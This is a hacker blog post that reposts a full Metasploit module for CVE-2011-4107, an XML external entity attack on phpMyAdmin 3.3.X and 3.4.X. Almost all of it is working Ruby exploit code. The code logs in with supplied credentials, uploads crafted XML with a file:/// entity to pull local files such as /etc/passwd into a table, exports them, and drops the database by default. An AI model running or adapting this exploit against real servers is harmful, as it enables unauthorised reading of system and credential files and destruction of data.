BLACK BURN HACKER. Powered by Blogger.

Real Money Instantly

 

Saturday, January 28, 2012

phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection

0 comments

Code:
# Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
# Date: 12-01-2012
# Author: Marco Batista
# Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/
# Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7
# CVE : CVE-2011-4107
 
require 'msf/core'
 
class Metasploit3 < Msf::Auxiliary
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize
        super(
            'Name'        => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
            'Version'     => '1.0',
            'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
            The attacker must be logged in to MySQL via phpMyAdmin.
            Works on Windows and Linux Versions 3.3.X and 3.4.X},
            'References'  =>
                [
                    [ 'CVE', '2011-4107' ],
                                        [ 'OSVDB', '76798' ],
                                        [ 'BID', '50497' ],
                                        [ 'URL', 'http://secforce.com/research/'],
                ],
            'Author'      => [ 'Marco Batista' ],
            'License'     => MSF_LICENSE
            )
 
        register_options(
            [
                Opt::RPORT(80),
                OptString.new('FILE', [ true,  "File to read", '/etc/passwd']),
                OptString.new('USER', [ true,  "Username", 'root']),
                OptString.new('PASS', [ false,  "Password", 'password']),
                OptString.new('DB', [ true,  "Database to use/create", 'hddaccess']),
                OptString.new('TBL', [ true,  "Table to use/create and read the file to", 'files']),
                OptString.new('APP', [ true,  "Location for phpMyAdmin URL", '/phpmyadmin']),
                OptString.new('DROP', [ true,  "Drop database after reading file?", 'true']),
            ],self.class)
    end
 
    def loginprocess
        # HTTP GET TO GET SESSION VALUES
        getresponse = send_request_cgi({
            'uri'     => datastore['APP']+'/index.php',
            'method'  => 'GET',
            'version' => '1.1',
            }, 25)
 
        if (getresponse.nil?)
            print_error("no response for #{ip}:#{rport}")
        elsif (getresponse.code == 200)
            print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
        elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
            print_status("Received 302 to #{getresponse.headers['Location']}")
        else
            print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
        end
 
        valuesget = getresponse.headers["Set-Cookie"]
        varsget = valuesget.split(" ")
 
        #GETTING THE VARIABLES NEEDED
        phpMyAdmin = varsget.grep(/phpMyAdmin/).last
        pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
        # END HTTP GET
 
        # LOGIN POST REQUEST TO GET COOKIE VALUE
        postresponse = send_request_cgi({
            'uri'     => datastore['APP']+'/index.php',
            'method'  => 'POST',
            'version' => '1.1',
            'headers' =>{
                    'Content-Type' => 'application/x-www-form-urlencoded',
                    'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
                            },
            'data'    => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
            }, 25)     
 
        if (postresponse["Location"].nil?)
            print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
            tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last          
        else
            tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
        end
         
         
        valuespost = postresponse.headers["Set-Cookie"]
        varspost = valuespost.split(" ")
         
        #GETTING THE VARIABLES NEEDED
        pmaUser = varspost.grep(/pmaUser-1/).last
        pmaPass = varspost.grep(/pmaPass-1/).last
 
        return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
        # END OF LOGIN POST REQUEST
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
            print_error(e.message)
        rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
            print_error(e.message)
    end
 
    def readfile(cookie,tokenvalue)
        #READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
        getfiles = send_request_cgi({
            'uri'     => datastore['APP']+'/export.php',
            'method'  => 'POST',
            'version' => '1.1',
            'headers' =>{
                    'Cookie' => cookie
                        },
            'data'    => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
            }, 25)
         
        if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
            print_error("Error reading the file... not enough privilege? login error?")        
        else
            print_status("#{getfiles.body}")
        end
    end
 
 
    def dropdatabase(cookie,tokenvalue)
        dropdb = send_request_cgi({
            'uri'     => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
            'method'  => 'GET',
            'version' => '1.1',
            'headers' =>{
                    'Cookie' => cookie
                        },
            }, 25)
 
            print_status("Dropping database: "+datastore['DB'])
    end
 
    def run
        cookie,tokenvalue = loginprocess()
     
        print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")
     
        craftedXML =  "------WebKitFormBoundary3XPL01T\n"
        craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
        craftedXML << tokenvalue+"\n"
        craftedXML << "------WebKitFormBoundary3XPL01T\n"
        craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
        craftedXML << "server\n"
        craftedXML << "------WebKitFormBoundary3XPL01T\n"
        craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
        craftedXML << "Content-Type: text/xml\n\n"
        craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
        craftedXML << "<!DOCTYPE ficheiro [  \n"
        craftedXML << "  <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
        craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
        craftedXML << "    <pma:structure_schemas>\n"
        craftedXML << "        <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
        craftedXML << "            <pma:table name=\""+datastore['TBL']+"\">\n"
        craftedXML << "                CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
        craftedXML << "            </pma:table>\n"
        craftedXML << "        </pma:database>\n"
        craftedXML << "    </pma:structure_schemas>\n"
        craftedXML << "    <database name=\""+datastore['DB']+"\">\n"
        craftedXML << "        <table name=\""+datastore['TBL']+"\">\n"
        craftedXML << "            <column name=\"file\">&conteudo;</column>\n"
        craftedXML << "        </table>\n"
        craftedXML << "    </database>\n"
        craftedXML << "</pma_xml_export>\n\n"
        craftedXML << "------WebKitFormBoundary3XPL01T\n"
        craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
        craftedXML << "xml\n"
        craftedXML << "------WebKitFormBoundary3XPL01T\n"
        craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
        craftedXML << ",\n\n"
        craftedXML << "------WebKitFormBoundary3XPL01T--"
         
     
        print_status("Grabbing that #{datastore['FILE']} you want...")
        res = send_request_cgi({
            'uri'     => datastore['APP']+'/import.php',
            'method'  => 'POST',
            'version' => '1.1',
            'headers' =>{
                    'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
                    'Cookie' => cookie
                        },
            'data'    => craftedXML
        }, 25)
 
        readfile(cookie,tokenvalue)
 
        if (datastore['DROP'] == "true")
            dropdatabase(cookie,tokenvalue)
        else
            print_status("Database was not dropped: "+datastore['DB'])         
        end
 
    end
end

©2011, copyright BLACK BURN

0 comments:

Post a Comment

 

7 Years Earning Experience

The Earning Source You Can Trust